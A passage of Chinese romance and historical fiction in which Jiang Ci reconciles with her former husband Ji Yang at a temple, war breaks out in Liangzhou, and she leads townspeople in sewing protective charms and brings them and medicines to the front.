第三日清晨,秋雨初歇,天边露出了一线鱼肚白,空气中带着雨后特有的湿润与清爽,让人精神一振。
姜辞一早醒来,推开窗户,便见院中落叶堆积,被雨水打湿后,泛着深沉的褐色。她走出府门,没有看到刺史府外那道熟悉的身影,不由得长舒一口气,眉宇间的担忧也散去了几分。
“今日雨停了,我想吃栗子糕,顺便去寺里给娘上柱香。”姜辞对迎上来的晚娘说道,声音带着几分久违的轻松。
晚娘见她神色终于舒展,也欢喜地应道:“好,就依姑娘的。”
主仆二人乘坐一辆马车,缓缓行驶在紫川城的街道上。
马车穿过一条被梧桐落叶铺满的巷子时,姜辞忽地打了一个轻微的喷嚏。晚娘立刻关切地问道:“姑娘,可是昨夜在廊下站久了,着凉了吧?”
姜辞轻轻摇头,抬手揉了揉鼻尖,笑意不达眼底:“许是秋日里风寒,不碍事。”
马车行至栗子糕摊子前,姜辞掀起小窗,想透透气,目光漫不经心地扫过不远处,却猛然一顿,那道身影,赫然是姬阳,他在这里做什么?
他此时正站在一棵半枯的老树附近,就在姜辞愣神之际,不远处传来一声孩童的惊呼,一个调皮的小孩爬到树上玩耍,结果脚下一滑,眼看就要从树上摔落。
刹那间间,姬阳抢先一步跃上前,稳稳地在半空中抱住了那个孩子,然后小心翼翼地将他放了下来。孩子的母亲闻声赶来,看到这一幕,满脸惊恐转为安心,连连向姬阳道谢,姬阳只是微微颔首,神色波澜不惊。
姜辞将这一切尽收眼底,她默默地将车窗放下。
“姑娘,还吃栗子糕吗?”晚娘的声音从旁传来,打破了车厢内的宁静。
“吃。”姜辞轻声应道,语气恢复了往日的平静。
这时,姬阳已经先一步走到了栗子糕的摊子前。他低声吩咐老板打包了几份栗子糕,用干净的油纸细细包裹好。
转身欲往刺史府方向走去,却不期然,正好看见了刚刚从马车上下来的姜辞。
他微微一怔,随即迈开长腿,主动上前。手中的栗子糕递到姜辞面前,他声音有些低沉,却带着一丝局促:“正好,这是给你买的。”
姜辞看着他顿在半空中的手,犹豫再三,最终还是侧过头,对晚娘轻声吩咐:“晚娘。”晚娘会意,上前小心翼翼地从姬阳手中接过了油纸包。
姜辞没有多看他一眼,径直转身欲上马车。
姬阳依旧停在原地,就在姜辞即将踏入车厢之际,她却没有回头,只是声音清淡地抛下一句:“你不是有话想和我说吗?还不跟着?”
此言一出,姬阳眼底那层晦暗瞬间被点亮,他立刻跟了上去,长腿一跨,跃上了马车前座。马车夫正要拉动缰绳,姬阳已经从他手中接过,他侧过身,声音带着几分急切和探究:“你想去哪儿?”
姜辞瞥了他一眼,语气平静:“紫云寺。”
姬阳对紫川和凉州并不熟悉,闻言,略显尴尬地顿了顿,最终还是将缰绳还给了车夫,只说了一句:“去紫云寺。”
他刚要开口说些什么,姜辞像是知道了他要说什么一般,清冷的嗓音再次响起,打断了他:“今日我要给母亲上香,不管你想说什么,等我上完香再说。”
姬阳只能把话憋了回去,低低地应了一声:“好。”
马车内,姜辞打开油纸包,拈起一块金黄的栗子糕,轻轻塞入嘴里。
紫云寺位于城郊,依山而建,古木参天,佛音袅袅。
一路上,马车内气氛沉寂,姬阳坐在车夫身旁,几次欲言又止,但姜辞始终未曾开口,他也只好欣赏紫川城外的风景。
抵达寺门前,马车停稳。姬阳也利落地跳下车,晚娘也下来了,姬阳伸出手,想要扶一把,谁知姜辞出来,直接无视了他,姬阳只好将手收回,默默跟上。
紫云寺的香火很旺,寺内游人信众络绎不绝,但因地处清幽,倒也显得庄严静谧。
姜辞步入大殿,晚娘去寻了香烛。她接过三炷清香,双手合十,神色肃穆,虔诚地跪在蒲团上,对着佛像深深拜下。
姬阳就站在不远处,隔着人群,静静地看着她。
上完香,姜辞起身,将香插入香炉中。她没有立刻转身,而是站在香炉前,目光凝视着那升腾的青烟,仿佛透过烟雾,能看到母亲的音容笑貌。
“姑娘。”晚娘轻声唤道。
姜辞回过神来,又去给紫云寺捐些香火钱。
姬阳未随她同去,而是停步佛前,静静凝望着供台上的牌位。
殿内幽静,他虔诚执香,深深一拜,念道:此生绝不再离姜辞半步,誓死护她周全,心中唯她一人。若有违背,天诛地灭,不得好死。
他声音极轻,字字透着郑重,却恰好被自侧门回来的姜辞听见。她步子微顿,心头忽起一股难以言喻的情绪,她将那份情绪悄然压下,转身离开了大殿。
她来到寺院后方的一棵古老的祈福树下,树上挂满了红色的祈福带,随风轻舞。姜辞从袖中取出一张事先准备好的红色绸带,提笔在上面写下祈福的词句。
字迹清雅,带着她独有的风骨。
她刚写好,姬阳便也跟了过来。他看到她绸带上娟秀的字迹,目光微凝,轻声念道:“愿四海晏然,兵革无声,众生安泰。”念到“众生”时,姬阳的嘴角忽然勾起一抹极淡的笑意。他想,这个“众生”,应该也包括他吧。
姜辞正欲将绸带挂上树枝,姬阳却主动上前,接过她手中的绸带,身形轻盈地一跃,将绸带挂到了最高处的一根枝丫上,比其他所有的祈福带都高。
他稳稳落地,看向姜辞,声音带着一丝温柔:“挂得越高,越灵。”
姜辞没有拒绝他的好意,只是对晚娘说道:“晚娘,你先回马车那边等我,我与都督有话要说。”
晚娘闻言,看了看姜辞,又看了看姬阳,心中了然,应了一声便退了下去,朝着马车方向走去,将空间留给了这二人。
寺院内,姜辞与姬阳并肩而行。
“都督有话,直说吧。”姜辞率先开口,声音平静。
姬阳停下脚步,转身面对她,目光深邃而复杂。
他深吸一口气,开口道:“我知你那日为何找我纳妾,估摸是因为楚窈怀孕,她攀咬我,跟你说与我有染。姜辞,我发誓,那个孩子不是我的,我没有碰过她一分一毫。那个孩子,是越白的。”
姜辞闻言,冷笑一声,眼中带着明显的讥讽:“我亲眼看见她从你屋内出来,衣衫凌乱。”
姬阳的脸色一僵,随即眼中闪过一丝痛苦与懊恼:“那日我叫越白给我更衣,是她自己闯进来的,我给她赶了出去,那么短的时间,我不至于这么不中用吧……”这话说完,姜辞瞪了姬阳一言。
姬阳赶紧转移话题:“但她为何要做这样的事情,我当时也百思不得其解。我发誓,我从未对除你以外的任何女子产生过一丝想法,多看一眼都无。这件事我已经调查清楚了,越白也被赶出府,楚窈被发卖,你大可去东阳侯府打听打听,此事绝无虚假。”
姜辞的眼神微动,但仍带着一丝不悦:“那你就毫不留情的把我休了?”
姬阳闻言,眼中闪过一丝哀伤,声音也带上了几分委屈:“不是你说让我把你休了,放你走?”
姜辞听罢,猛地瞪了他一眼,眼中带着怒气:“我让你休我,你就休我?你都不问问为什么,你也太随意了,口口声声说心里有我,转头因为一句气话,就落笔休书,姬阳,你当真如此薄情?”
姬阳的脸色瞬间变得苍白,他上前一步,想要抓住她的手,却又克制地停在半空。
他看着她愤怒的眼神,眼眶渐渐泛红,声音也变得哽咽起来:“那日……那日我……”
他再次深吸一口气,声音带着难以言喻的悲痛,“钟嗣,与我并肩作战七年的好兄弟,他……他阵亡了。东阳军损失
惨重,他还有个牙牙学语的孩子,我不知道该如何向他夫人交代,整个人脑子都是乱的,心如刀绞。我多希望在那一刻,你能来,坐在我身边,跟我说上几句……哪怕只是,静静地陪着我。”
他终究哽咽,低下头去。
姜辞一时无言,只觉胸口被什么东西轻轻堵住。原来那日,竟有如此变故。
姬阳的声音沙哑,压下情绪,低声道:“可你一进来,不问缘由,只叫我纳妾。我心头早已千疮百孔,一边是兄弟棺椁,一边是你,我一时失控,才做了蠢事。可自始至终,我从未想过与你分开。”
姜辞望着他眼眶微红,此刻带了几分难得的脆弱,叫人不由自主心生怜惜。
姬阳从怀中掏出一个虎头护符,那护符被他摩挲得有些旧了,却依然能看出其精巧的做工。
他将护符递到姜辞面前,声音颤抖:“在青州打仗的时候,每当我想起你,我就会看看它。看着它,我就觉得你在等我回家,无论如何,我都不能倒下。”
姜辞垂下眸子,看着那虎头护符,心中百感交集。
她忽然一笑,眼里含着浅浅的柔意:“但是休书这件事,原不原谅你,我要看你表现。”
姬阳怔住,随即眼底亮起欢喜之色。他抬手用力擦去眼角的泪,笑得像个少年:“真的?”
姜辞嗯了一声,轻轻点点头。
姜辞看着他这副模样,开口道:
“走吧,时辰不早了。”
姬阳立刻跟上,步履轻快了许多。
走出寺门,晚娘已在马车旁等候。她看到姬阳跟在姜辞身旁,两人之间气氛似乎与来时截然不同,晚娘心中暗自松了口气,脸上也露出了欣慰的笑容。
姬阳主动上前,伸手虚扶了一下。姜辞没有拒绝,径自上了马车。姬阳坐在外面,接过车夫的缰绳,说道:“我记得路回府的路。”
两人回到刺史府时,夜色早已沉下。
刚一进门,姜辞便觉屋中气氛凝滞,四下仿佛笼着层说不清的压抑。她心头微跳,步履不由加快,直奔前厅而去。
前厅灯火明亮,却无人说话,几名心腹侍从神情肃然。楼弃亦在,倚在椅子上,眉眼阴沉,不似之前那般不羁。
姜辞环视一圈,心头愈发不安。她定了定神,朝姜怀策开口:“爹,出什么事了?”
姜怀策望着女儿,眸色沉重,又看了一眼她身后的姬阳,喉头哽住,片刻才艰涩开口:“北庭与西凉,不知何时结盟。就在今日,他们联手攻下了我凉州辖下的一座城池……满城血火,已无生还。”
姜辞手中握着的小物件啪嗒一声坠地,刹那间只觉四肢发冷,脚下虚浮,几乎立足不稳。姬阳眼疾手快,伸臂扶住她。
第77章
厅内一片死寂,唯有烛火微微跳跃。
姜辞被姬阳扶住,胸口闷着一股气儿,脑中只觉天旋地转。她咬唇强自镇定,缓缓坐下,视线在厅中众人身上一一扫过。
案上铺着凉州地形图,主城紫川为心,数座要隘星罗棋布。
楼弃斜倚椅背,神色冷峻,姬阳站于地图一侧,眉宇间尽是肃杀之气。
片刻后,楼弃起身,来到沙盘前,语气里少了往昔的玩世不恭,只剩下冷冷的杀意:“北庭和西凉的人,不会就此罢手。紫川若失,凉州必陷,回头他们必然会联手先后攻下东阳与瀚北。”
银霜此时也赶到,她踏进来,没有说话,只是静静站到一旁。
姜怀策紧随其后开口,声色沉稳:“燕王说的没错,若紫川有失,大家皆危。今日之议,务请诸君直言无讳。”
一阵短暂的静默后,姬阳说道:“凉州此刻和东阳是一体的,亦是天下要冲。只要我还在,凉州一日不失。无论北庭西凉如何合兵,我姬阳誓守此城,寸土不让。”
楼弃闻言,唇角微挑,嗤笑一声,语带傲气:“都督好气魄。不过凭凉州如今兵力,单凭一城死守,不过饮鸩止渴。紫川虽固,若西凉主攻,北庭绕道袭扰后路,凉州腹背受敌,终难久守。”
姬阳神色不变,只道:“那不妨先说说你的法子。”
楼弃目光在众人间一扫,语气强硬道:“紫川为主,贺阳、临渭、孟津为辅,三翼环守。西凉主力必自西路直扑紫川,意在速战速决,北庭骑军惯用迂回,恐从贺阳以北山道而下,突袭临渭,断我东南粮道。”
姬阳拧眉,沉声道:“贺阳城外有渭水绕城,山道崎岖,北庭虽善骑射,然若遇雨,泥泞难行,可伏精锐弓手于山隘,阻其锐气。临渭城三面环林,两侧丘陵,极宜设疑兵、夜袭扰其营。孟津扼守西南要道,是西凉后勤必经之地。此处虽兵少,但可埋伏死士,专断敌粮草,令其军心动摇。”
姜怀策缓步上前,拢袖开口,语调清冷:“凉州军近年不曾出战,颇为萎靡,如今可用之兵不及昔日半数。瀚北与东阳各自腹地空虚,若全数调兵,反会引狼入室。此战唯有精兵应敌、巧用地势。若敌强攻紫川,可暗设疑兵于孟津,夜袭北庭骑兵后路。贺阳与临渭务必守住,不可一朝失守,否则全线溃败。”
姜怀策目光炯炯,环顾众人,缓声问:“诸位可有良策,守得三方,挽得险局?”
这时银霜忽然站出来,她声音平稳道:“以兵力而论,凉州现有精锐一万、乡兵五千,能战之卒不过一万五。”
姬阳补充:“紫川虽固,然正面难守。我要在西郊布防,利用紫川西城外的盐池湿地,修筑鹿角、拒马,限制敌军冲锋。大营驻于城北,北庭若转而合围,可令机动兵力夜出西门,策应临渭与贺阳,切忌死守不出。”
楼弃点指地图一角,道:“北庭粮道自北山穿过,可以派人夜袭其辎重,只需一把火,北庭必乱。而西凉远道而来,后勤缓慢,若能于孟津外设伏,截其运粮,拖上三五日,敌军不战自溃。”
银霜眼中寒光一闪,道:“我可带死士二百,夜探孟津要道,我出生那边,地形我熟悉,若有敌粮车、辎重,能劫则劫,不能则毁。”
姜怀策点头:“如此,三城为犄角,紫川为心,四方策应。若一城不守,必出兵救援,不可弃地不顾。都督,燕王、银霜,此战须精诚协作,若敌分兵,我军亦须变化,切莫拘泥死守。”
姬阳目光如炬,沉声道:“敌虽众,我三军协心,未必不可破敌。”
楼弃森然一笑,走到姬阳身边说道:“没想到我们打了这么久,竟然因为凉州成为了同盟,你我同心,定叫北庭西凉,来多少,葬多少。”
姜怀策环视众将,神情郑重:“今夜之后,凉州存亡,系于诸位一念之间!”
楼弃大笑:“我倒要看看,北庭西凉这帮宵小,如何啃下我们这块硬骨头。”
姬阳望着姜辞,眼中映着烛火微光,他声音低缓:“你且宽心。我在一日,便以性命守你所念,护你所系。”
“姜辞,我所做诸事,并非只为你原谅。只是既当初对你许下承诺,便必当履行。先前我已遣人驻守凉州,此刻可先调其援,随后即刻飞书汀洲,令陆临川率军驰援,后援当不会迟至。”
楼弃冷眼看着二人间的气氛,轻哼道:“姬阳,你我此前战场未分高下,这一次,我定要杀得比你多。”
姬阳斜睨他一眼,嗤笑一声:“那就走着瞧。”
姜辞静静听着,神色如常,指尖却微微收紧。她垂眸半晌,低声道:“你总是如此自作主张。”
语气淡然,却藏着一丝温柔。她抬眼望向姬阳、楼弃,神色分外认真:“但不管如何,我只盼你们都能平安归来。”
说罢,她又望向银霜,微微一笑:“还有你,银霜。”
银霜轻轻颔首,唇边带了点少年气的洒脱:“小姐放心,我定会好好活着回来。”
姜怀策目光炯然,语声沉稳中带着难掩的激动:“诸位愿共赴国难,护我凉州,姜某无以为报
,只能代凉州百姓拜谢二位。”
话音未落,他已欲下拜。
楼弃疾步上前,伸手将姜怀策扶住,正色道:“刺史大人不必多礼。我等自当同舟共济,共守此地。”
姜怀策眼中微微湿润,哽咽道:“如此,便有劳各位了。时不我待,北庭西凉狼子野心,稍有迟疑,便要溃堤千里。都督、燕王,可还需再做准备?何时出发?”
厅中气氛骤紧。姬阳与楼弃对视一眼,神情皆是决然,异口同声答道:“现在。”
语声铿锵有力,众人心头一振。
临行之际,姬阳走到姜辞身前,目光沉静中带着柔色。他低声道:“你等我回来。”
语罢,他眼中掠过一丝不舍,却转身而去,背影坚毅。楼弃紧随其后,银霜提剑跟了上去,三人一道,疾步出了厅门。
厅中余烛摇曳,姜辞站在原地,心揪在一起,久久未动。
姬阳等人离去后,夜色如墨,将整个刺史府笼罩在一片沉寂之中。
姜辞的内心隐隐惴惴不安,她回到院中,只觉一股无形的重压袭来,让她喘不过气。
乌云悄然遮蔽了半轮残月,片刻后,细密的雨点便淅淅沥沥地落下,敲打在窗棂之上。
她缓步走到窗前,推开窗扉,任由带着凉意的夜风拂过面颊,望着外头幽冷的天色,神情一片茫然。
晚娘见状,心疼地快步上前,将一件厚实的披风轻轻披在她肩头,柔声道:“姑娘,外面太凉了,您莫要受了寒。这般夜深了,还是早些歇息吧。”
姜辞却像未曾听见一般,依旧站在原地未动,眼神怔怔地望着窗外,低声呢喃道:“我什么都做不了……心里总有种不好的预感,像是空落落的,抓不住什么。”她的声音很轻,带着一丝疲惫和无助。
晚娘上前一步,轻声劝慰,试图驱散她眉间的愁绪:“姑娘,有都督与燕王在前方,他们皆是征战沙场多年之人,运筹帷幄,所向披靡,必然自有法子守住凉州。您只需守在府中,静候佳音便是,莫要多思多虑,伤了身子。”
姜辞沉默半晌,忽然回身望向晚娘,像是想到了什么,眼中那份茫然渐渐褪去,取而代之的是一种清醒而分外的坚定。
她语气轻轻,却字字清晰:“晚娘,你去库房,把前些日子买下的那些布匹,全都拿出来。我想……我想做护符,给所有为凉州而战的将士们,都做一个。”
“虽说护符未必真能护人周全,但这是我唯一能做的,也算替他们祈一份平安,求一份心安。”
晚娘闻言,眼中微湿,被姜辞这份心意所感染。她连声应下,转身便去了库房。不多时,便带着人将成捆的布匹搬了出来,堆满了屋子一角。
姜辞看着案上堆叠的布料,指尖轻轻抚过,做了一个决定。
“明日你随我去望月楼,那楼最高,视野也最开阔。”
晚娘虽不明所以,但见姜辞神色坚定,便也点头应下:“是,姑娘。”
翌日清晨,天光微熹,晨曦初露。
姜辞亲自吩咐下人,将成匹的布料整齐地抬至望月楼前。她今日身着一袭深色衣衫,亲自招呼城中会女工的人前来相助。
望月楼前很快便聚集了许多人,皆是凉州城中的寻常百姓,其中不乏妇孺。
有人低声惊呼:“那不是刺史大人的千金么?”
“是姜辞姑娘,她常常周济咱们,是个心善的好姑娘。”议论声中,带着敬意与好奇。
姜辞立在楼下,目光温柔而坚定地扫过众人,声音柔和而有力,清晰地传入每一个人的耳中:
“眼下凉州多难,战火在外。是东阳与瀚北的将士们,不远千里,抛家舍业,为我们守护家园。此刻虽刀兵在外,咱们不能上阵杀敌,不能执戈卫国,但也能为他们尽一份心力。”
她顿了顿,目光中带着恳切与温柔,仿佛能直抵人心:“我在丰都时,曾见那边将士出征,家女眷皆会亲手为他们缝制护符,祈愿平安归来。”
“我也希望,如今咱们凉州的百姓,能把所有为守护凉州而战的将士,都当作自家亲人,为他们缝制护符,为他们祈祷归来。这不仅仅是一个护符,更是我们凉州万民的期盼,是他们身后最坚实的后盾。”她的声音带着一种感染力,让在场的百姓们纷纷动容。
会女工的妇人们纷纷应声,有人当场卷袖,有人回家取来针线盒,还有人带来自家女儿一起帮忙。
望月楼下,布匹铺开,针线交错,城中妇人们或坐或立,一同缝制护符。
阳光透过雨后初晴的天色洒下,微光落在每个人虔诚的眉眼间。姜辞也在其中,低头一针一线,仿佛将满腔的挂念,都缝进素布之上。
有人悄声道:“但愿这些护符真能保佑他们安然归来。”
姜辞闻言,只抬头对着晚娘轻声一笑。
这三日里,望月楼前临时支起的棚子下,针线穿梭。姜辞带领着一众绣娘、巧手妇人,日日坐于案前,桌上堆着裁好的素布和彩线,棚外则是雨后清寒、天光渐晴。
护符越绣越多,渐渐堆成一座小山。姜辞拾起一只,见上头绣着细细的平安二字,字迹温润如玉,再取一只,是紫罗兰花的纹样,是凉州最常见的花。
也有巧手人家,将自己的祈福用细软花线密密缝进护符里。
姜辞一一看过,只觉心头渐暖,仿佛那些祝愿与挂念都在掌心缓缓流淌。
黄昏时分,晚娘收起桌上的针线,轻声问道:“姑娘,这些护符都绣好了,接下来可还要吩咐什么?”
姜辞抬眸望向西天,残阳在屋檐下渐渐染红了天色。她收敛心绪,语气温柔却坚定:“我亲自送去前线,让将士们知道,凉州的百姓,也在远远地记挂他们的安危。”
“明日一早就出发。”
第78章
第二日一早,天色有些阴沉。
姜辞没有丝毫耽搁,亲自指使下人把装满了护符的箱子抬上马车。
她又想到前线战事吃紧,军需物资恐怕难以跟上,便对晚娘说道:“此番随行军医的东西也不一定够,我们多带些东西,草药、纱布、金疮药……前线免不了伤者,我们能搭把手就帮帮他们。”
晚娘闻言,眼中闪过一丝担忧,却也立刻应道:“好的,姑娘,我这就去叫人准备。”
话音刚落,刺史府内传来一阵急促的脚步声。
姜怀策连衣服都未曾穿好,只披着一件外袍,便匆匆跑出府门,一眼便看到了停在门口的马车和正在忙碌的姜辞。他脸色骤变,急声问道:“姜辞!你这是要去哪儿?”
姜辞转过身,看着父亲焦急的模样,眼中闪过一丝不忍,但随即被坚决取代。她语气平静,却带着不容置疑的笃定:“爹,女儿去做自己能做的。”
姜怀策听罢,心头猛地一跳,他一把拉住姜辞的胳膊,想将她拽回府中:“你给我回来!你不能去!今日你姐姐便要到了,你们俩都给我好好待在家里!”
姜辞挣脱开姜怀策的手,目光直视着他,声音里带着前所未有的倔强:“爹,我做不到!我做不到在家里等消息,我更做不到自己的夫君在前线拼命,而我却在家中安然入睡!”
“夫君?!”姜怀策闻言,气得胡子都翘了起来,他怒声呵斥道:“他都把你休了,你还一口一个夫君,你羞不羞!你给我回去!”
“我俩是误会!”姜辞厉声解释,声音因激动而微微颤抖,“爹,这个你就别管了,无论如何,我今日都要去!”
姜怀策气得哼了一声,指着她道:“你从小就像屁股长刺一样坐不住,但今日是生死攸关的事情,战场之上刀剑无眼,我不能让你胡来,更不能让你做主!”
姜辞听着父亲的呵斥,心中百般滋味。她知道父亲是为了她好,但此刻,她已无法退缩。
她扑通一声跪在地上,双膝重重地磕在冰冷的石板上,发出沉闷的声响。她仰起头,泪水在眼眶中打转,却被她强忍着没有落下。
“爹,女儿此番去,并非只为姬阳一人。”她声音沙哑,却字字铿锵,“你若要我回去,那就……那就横着抬回去!”
说完,她对着姜怀策,在地上重重地磕了三个响头。
“恕女儿不孝,这件事,女儿不能听您的。在他们愿意为凉州出征的那一刻,他们就与凉州绑在一起了,我……我走了!”
说完,姜辞站起身来,晚娘那边的物资也已准备妥当,下人们将需要的东西都搬上马车。
姜辞最后看了一眼姜怀策,那一眼包含了太多的情绪。
她没有再犹豫,毅然决然地上了马车。
姜怀策站在府门前,忍不住泪流满面,看着马车缓缓驶离,最终消失在街道尽头。他猛地跺了一下脚,只觉这一别,竟像隔了生死。
马车启程,晨风里还残留着夜雨未散的湿凉。
姜辞坐在车厢里,双手环膝,呆呆地望着窗外薄雾迷蒙的天色。
府门外隐约传来姜怀策低低的抽泣声,她心头酸涩,却不敢回头。
晚娘坐在一旁,小心翼翼地打量她,见她不言不语,便低声劝道:“姑娘,老爷他……到底是担心你。”
姜辞闻言,半晌才缓缓道:“我知道爹心疼我,可是晚娘,有些路,是我非走不可的。凉州是咱们的根,我不能在屋檐下等着别人为我拼命。”
说着,她低头取过一只护符,指尖缓缓摩挲,眸色温柔而坚韧:“有时候,我真羡慕男儿身,可以提刀上阵,不必顾虑太多。但我既为人女,只能将这一腔心意,缝在这些护符里,给他们做后援,也不输任何人。”
晚娘红了眼眶,强自欢笑道:“姑娘别多想,您能做的已经比旁人多太多了。老爷他嘴硬心软,咱们也一定回平安归来的。”
姜辞笑了笑,轻轻点头,不再言语。
马车一路行至凉州街巷,沿路的百姓都知道姜辞要送护符去前线,纷纷自发上街相送。有人将刚出炉的干粮递上马车,有老妇在巷口遥遥拜了三拜。
有人小声道:“只盼姜姑娘平安回来,咱们的将士也都能平安回来。”
姜辞隔着车帘,听着这些细碎的祝愿,只觉心头愈发沉静。她合上车窗,头靠在车壁上,闭上了眼睛。
马车颠簸行了两日,终于在傍晚前抵达前线营地。天色阴沉,远山浮着暮霭,暮色中,那座本应安宁的小城早已面目全非。
姜辞掀开车帘,第一眼望见的便是狼藉与焦土。
城墙残破,垛口残缺,一片片焦黑的痕迹尚在冒着余烟。
路边是四散奔逃的百姓,有妇人怀抱襁褓的婴孩仓皇躲避,也有老者颤巍巍扶着墙根而行,神色惶然,似随时会倒下。几处民居的屋顶塌陷,梁柱烧焦,瓦砾间仍残留着不久前战火的味道。
姜辞的心猛地一紧。
她深吸一口气,稳住情绪,抬手掀帘下车。晚娘紧随其后,眉头紧蹙,一言不发地扶住她胳膊。
两人穿过斑驳街道,朝营地行去。
前方是一大片用木桩和麻绳围起的营地,守军见她衣着非俗,虽惊疑却未阻拦,赶紧进去通报。
不多时,一道熟悉的身影快步而出,正是陆临川。他一见姜辞,神色错愕,惊声道:“夫人?您怎么来了?”
姜辞略略点头,声音里带着疲惫却也坚定:“姬阳呢?”
陆临川收起惊讶,拱手回道:“都督带了小队人马去探贺阳方向的小道了,应该快回来了。”
闻言,姜辞总算松了口气,手扶胸口,微微喘息了一瞬。
“我带了些东西来,有前些日子做好的护符,还有些药材。陆司马烦请派人去车上搬下来,分给军中。”
“属下遵命。”陆临川应下,立刻吩咐几名士卒前去卸货。
姜辞步入营帐,坐下歇息,可心却始终悬着。
等了一阵,外头天色渐黑,火把一支支点燃,听着外头阵阵军号,心神未定。她时不时望向门口,等得久了,终是起身出帐,一路走到外营。
夜风微凉,她站在帐门前望着远方,浓云低垂,火光摇曳。忽而,一批伤兵被从前方抬回来,血迹斑驳,呻吟不断,气息微弱,被送往东侧救护帐。
姜辞立刻快步跟了过去,看到两个军医在为伤兵处理伤口,忙得不可开交。她毫不犹豫地卷起袖子,上前帮忙。
其中一名军医一回头,见是她,顿时大惊失色:“夫人,您别碰,这些都脏!”
姜辞神色镇定,声音平缓却坚定:“我不在意,晚娘,快拿清水来。”
晚娘应声,提了水过来。姜辞亲自打湿帕子,蹲身给一名伤兵擦拭干涸的血污,小心地避开伤口,再一点点帮他清理泥土与烂肉。
军医仍惊讶难当:“这……您一个女子,怎可——”
“我知道怎么做。”姜辞低声打断他,“你们忙不过来,我能搭把手。”
她语气轻柔,却毫无退让。
帐中血腥气与药味混杂,姜辞手上沾满了血迹,却丝毫不曾皱眉。她认真地帮每一个伤员擦拭处理,动作尽力温和。
就在这时,姬阳回来了。
他方一进营,便一眼看见了那道熟悉的背影。
她立在火光旁,鬓发微乱,袖口早已被血水浸湿,正俯身照料伤者。
“姜辞?”他声音低哑,带着未褪的风尘与惊讶,从她身后响起。
姜辞闻声,缓缓直起身子,回过头,看见姬阳站在火光前,眼神沉沉。
她将手中帕子丢入盆中,用袖口随意抹了抹脸上的汗,走上前来,语气平静:“我担心你们,也想来做点什么。”
姬阳眉头蹙起,语气严厉:“你简直胡闹,这里是前线,不比刺史府,太危险了,你得立刻回去!”
姜辞却猛地伸手,紧紧拽住他的袖子。
“我不走。”她语气前所未有地坚定,“我信你能护我,我也愿意留在这里。”
火光下,她眼神明亮。
姬阳低头看着她紧握自己袖口的手,良久未语。
半晌,他终是叹了口气,伸手覆在她手背上,低声道:“那你别出营地。”
姜辞抿唇一笑,眼底星光微动:“好。”
姬阳与姜辞并肩走到一处空地,夜风轻轻吹过,姜辞将披风拢了拢,望着前方那一列列整肃的军帐,忽然开口:“姬阳,我带来了凉州百姓为你们绣的护符。”
姬阳脚步一顿,偏头看她,眼中有一瞬间的讶异。
姜辞望着他,语气温柔而坚定:“你们为凉州而战,凉州百姓自然也记挂你们。我带着护符随我一同送来,想分发给将士们,盼
他们战场平安。”
火光在她眼中跳动。
姬阳神色微动,眉眼柔了几分。他看着她,低声道:“你辛苦了……谢谢你,记挂他们。”
姜辞轻轻摇头:“不是我一个人,是整个凉州百姓。”
她话音刚落,姬阳已转身唤来军中传令兵,吩咐:“去,把各队将领都叫来,我有事要交代。”
不多时,各小队主将纷纷赶来。姬阳站在帐前,望着他们,沉声道:“夫人此次前来,带来了凉州百姓所绣护符,每人一枚,愿你们身赴战阵,平安归来。”
说罢,他回头看了眼姜辞。
姜辞点头,上前命人将护符箱打开,那些护符按小队整齐分装。
军将们一一领下,虽无言多言,却眼神肃然,抱拳作礼。
这时,一道熟悉的声音从帐外响起。
“我们瀚北军,可还有份?”楼弃负手而入,唇角勾着一贯的痞笑。
姜辞见他来,含笑点头:“自然。此刻凉州危难,东阳、瀚北为一体,我怎会落下你们?”
楼弃转头吩咐道:“去,把人都叫来,把护符领了。”
瀚北军士应声而去,不一会儿就将护符领光了。
待众人退下,帐前人声散尽,姜辞从怀中取出两枚细巧的护符,小心地放在掌心,递给眼前二人。
“这是你们两个的。我亲手绣的。”
姬阳先是一愣,随即面色微变。他接过自己的那一枚,看了一眼,却眼神沉了些,再一抬头,盯着姜辞道:“你怎么还给他绣了一个?”
楼弃早一步伸手,将护符拿在手中。他低头细看,轻轻挑眉:“幽州的迎春花?还带香的。”
他将护符凑到鼻前轻嗅,上面有淡淡的女子香气,他神色却像掺了几分认真,“谢了,我会好好珍惜。”
姬阳顿时不悦,伸手便要去抢:“不行,他的得给我,他自己去箱子里挑。”
楼弃侧身一闪,将护符举到头顶:“你堂堂东阳都督,连护符都要跟我争?”
姜辞看着两人要闹起来,抬手拦住:“别闹了,我也给银霜绣了一个,等她回来,我一并给她。”
姬阳闻言,神色稍缓,似是妥协,嘴里却还念叨着:“所以我们三个,一人一个?”
“嗯。”姜辞点头,眉眼温和,“你这个,是我最早绣的。”
姬阳低头,看着掌中护符。那是一个小小的虎形,绣得并不十分工整,却极有神采,像她往日送他的护符,颜色、形状都依着那一只仿做。
他将它揣回怀里,眼角眉梢都透着几分得意:“反正……这个是独一无二的。”
夜已深前营渐归寂静,远处偶有犬吠与哨声交织。
姜辞站在营地中央,望着四周的营帐,不禁轻声问道:“那我今晚住哪儿?”
姬阳闻言回头,语气自然道:“战事紧张,没腾出多余的营帐……你就睡我那儿吧。”
姜辞怔了怔,随即问:“那你呢?”
第79章
话音刚落,楼弃从旁笑着插话,将胳膊毫不客气地搭在姬阳肩上,一脸不怀好意的打趣儿:“他当然是跟我一起了。等等,你们二人……不会到现在还没同房过吧?”
此话一出,场面顿时一静。
姜辞脸颊一下染红,眼神慌乱地别开。
姬阳也一噎,耳根微微泛红,抬手就将楼弃的手臂推开,沉声道:“胡说八道!现在正在打仗,我是主将,怎可携女子入帐?这让底下将士看到,还以为我心思不在战局!”
楼弃见他急了,反倒笑得更欢,嘴角一扬,语气调侃:“行行行,你说什么就是什么吧。”
姬阳懒得理他,转身走到姜辞面前,神色柔和了些,语气低下几分:“这一路你也累了,先去歇息。我带你去我的帐里。”
他说着,抬手引路,领着姜辞穿过一排排营帐。两人脚步都不快,沉默地走了一段,才在一处略偏的营帐前停下。
姜辞掀帘而入,眼前所见皆是简单陈设:一床一案,一盏灯,几卷兵策堆放在角落,屋中几乎没有多余的物什。
但她并未嫌弃,反而走过去仔细看了看,回头笑道:“你住得倒也清苦。”
姬阳轻咳一声:“这是临时营地,将士们都差不多。”
他顿了顿,又走近几步,低声叮嘱:“夜里气温低,你带够了被褥吗?我这里太简陋,你身子弱,若是受寒生病,我……”
姜辞轻声打断他:“放心吧,晚娘都给我备好了。”
姬阳闻言轻轻点头,目光里松了口气般的神色掠过。他道:“那你早些歇息。明日还要整备军务,我怕走动吵着你,你应该也不想跟我共处一室,我去楼弃那里。”
说罢,他转身欲出营帐。
姜辞站在原地,看着他的背影一步步离开,灯火将那背影拉得又长又孤独。
